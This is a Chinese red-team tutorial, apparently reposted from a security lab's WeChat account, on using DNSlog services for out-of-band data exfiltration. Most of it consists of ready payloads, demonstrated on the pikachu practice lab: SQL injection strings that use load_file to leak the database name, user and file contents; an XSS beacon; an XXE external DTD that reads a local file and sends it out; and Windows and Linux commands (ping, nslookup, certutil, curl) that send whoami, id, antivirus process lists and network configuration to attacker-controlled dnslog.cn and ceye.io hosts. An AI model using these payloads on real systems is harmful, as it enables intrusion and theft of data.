『红蓝对抗』DNSlog 那些事儿

admin 2022年4月29日19:01:07评论108 views字数 4411阅读14分42秒阅读模式
『红蓝对抗』DNSlog 那些事儿

点击蓝字 · 关注我们



日期:2022-04-28
作者:goout
介绍:DNSlog 相关利用小技巧。

0x00 什么是DNSlog?

我们知道 DNS 是起 IP 与域名的解析的服务,通过 IP 可以解析到对应的域名。DNSlog 就是储存在 DNS 上的域名相关的信息,它记录着你对域名或者 IP 的访问信息,也就是类似于日志文件。

0x01 DNSlog回显原理

『红蓝对抗』DNSlog 那些事儿

其中,粉红色部分是可控的。我们只需要搭建一个红色部分的 DNS 服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过 DNS 解析日志来获取到它们。

0x02 DNSlog 能应用到什么场景?

  • SQl   注入盲注

  • XSS   盲打

  • SSRF 无回显

  • XXE   无回显

  • 命令执行无回显

0x03 SQL盲注

通过 DNSlog 盲注需要用到 load_file() 函数和 secure_file_priv 设置。

3.1 利用条件

1、有权限读取且文件完全可读:(此处的读写权限,针对数据库)

and (select count(*) from mysql.user)>0    /*如果结果返回正常,说明具有读写权限.*/and (select count(*) from mysql.user)>0    /*返回错误,应该是管理员给数据库账户降权了*/
『红蓝对抗』DNSlog 那些事儿

load_file() 函数一般需要 root 权限,命令 show variables like '%secure%'; 查看 load_file() 可以读取的磁盘。

① 当 secure_file_priv 为空,就可以读取磁盘的目录。

② 当 secure_file_privG: ,就可以读取 G 盘的文件。

③ 当 secure_file_privnullload_file 就不能加载文件。

如图所示,我这里的 secure_file_priv 参数为 NULL ,请注意 NULL 不是空。

『红蓝对抗』DNSlog 那些事儿

修改文件 my.ini 来配置 secure_file_priv ,不能通过 SQL 语言来修改,因为它是只读变量。

『红蓝对抗』DNSlog 那些事儿

重启数据库,再次查询:

『红蓝对抗』DNSlog 那些事儿

2、欲读文件需在服务器上,且必须指定文件的完整路径;

3、欲读文件的大小需要满足 max_allowed_packet 的限制;

『红蓝对抗』DNSlog 那些事儿

例如:

SELECT hex(load_file("C:/Users/goout/Desktop/test1.txt"));    符合限制的,可显示内容;SELECT hex(load_file("C:/Users/goout/Desktop/test2.txt"));    超过限制的,显示NULL

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

3.2 利用过程

这里以靶场 pikachu 的时间盲注为例,输入lucy' and sleep(5)#,耗时5秒。

查询当前数据库:

lucy' and (select load_file(concat('//',(select database()),'.cwygpj.dnslog.cn/a')))#
『红蓝对抗』DNSlog 那些事儿

查询用户名:

lucy' and (select load_file(concat('//',(select hex(user())),'.cwygpj.dnslog.cn/a')))#
『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

在本地放个 1.txt

『红蓝对抗』DNSlog 那些事儿


查询本地文件:

lucy' and (select load_file(concat('//',(select (hex(load_file('C:/phpstudy_pro/WWW/1.txt'))),'.mlsydx.dnslog.cn/a')))#

『红蓝对抗』DNSlog 那些事儿

解密得:

『红蓝对抗』DNSlog 那些事儿

0x04 XSS盲打

<img src=http://xss.dmy7xv.dnslog.cn/a alert'123'>

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

0x05 SSRF

基操,不多讲。

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

请注意的是:我们如果判断某个地方存在 SSRF 漏洞,该平台可以请求到 dnslog 平台,但是不能证明它一定能请求到内网,深入利用还需结合实际环境。

0x06 XXE

我使用的 pikachu 靶场,靶场里的 XXE 是有回显的:

『红蓝对抗』DNSlog 那些事儿

修改一下源代码,改成无回显的 XXE

『红蓝对抗』DNSlog 那些事儿

请求 DNSlog :

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxe.xxx.ceye.io">%remote;]>
『红蓝对抗』DNSlog 那些事儿

读取文件:
构造请求 payload

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/xxe.dtd"> %dtd;%int;%send; ]> <r></r>

新建文件:xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpstudy_pro/WWW/1.txt"><!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://xxe.xxxx.ceye.io/?p=%file;'>">

放在 vps 上并起个 http.server

『红蓝对抗』DNSlog 那些事儿

发送 paylaod

『红蓝对抗』DNSlog 那些事儿

查看记录:

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

0x07  命令利用

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有洞。

7.1 Windows

当前用户名称/操作系统名称:

ping %username%.ghumgi.dnslog.cnping %os%.ghumgi.dnslog.cn

『红蓝对抗』DNSlog 那些事儿

探测目标主机杀软:

for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul

『红蓝对抗』DNSlog 那些事儿

执行 whoami

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.a6sg89.dnslog.cn && nslookup !FINAL!"

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

『红蓝对抗』DNSlog 那些事儿

Windows 的常用变量:

//变量                     类型       描述//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。//%CD%                     本地       返回当前目录字符串。//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。//%COMPUTERNAME%           系统       返回计算机的名称。//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。//%PATH%                   系统       指定可执行文件的搜索路径。//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。//%PROCESSOR_REVISION%     系统       返回处理器的版本号。//%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。//%USERNAME%               本地       返回当前登录的用户的名称。//%USERPROFILE%            本地       返回当前用户的配置文件的位置。//%WINDIR%                 系统       返回操作系统目录的位置。

7.2 Linux

Linux 比较简单,用 shell 语言即可。

curl `whoami`.xxxx.ceye.iocurl `id`.xxxx.ceye.iocurl -X POST http://xxxx.ceye.io/ -d `ifconfig|base64 -w 0`    ipconfig以base64编码显示
等等......

『红蓝对抗』DNSlog 那些事儿


『红蓝对抗』DNSlog 那些事儿


『红蓝对抗』DNSlog 那些事儿

0x08 总结

不知道写啥,谢谢同事哦比撒旦的帮助!

参考文档:

https://www.cnblogs.com/bmjoker/p/9626241.html
https://xz.aliyun.com/t/9747
https://www.cnblogs.com/micr067/p/15362360.html

『红蓝对抗』DNSlog 那些事儿

【哦比撒旦的文章随便列举一下】👇

『代码审计』如何解密 PHP 代码

『红蓝对抗』记一次攻防演练 

『杂项』你不是真正的快乐


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『红蓝对抗』DNSlog 那些事儿

宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『红蓝对抗』DNSlog 那些事儿

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月29日19:01:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『红蓝对抗』DNSlog 那些事儿http://cn-sec.com/archives/962452.html

发表评论

匿名网友 填写信息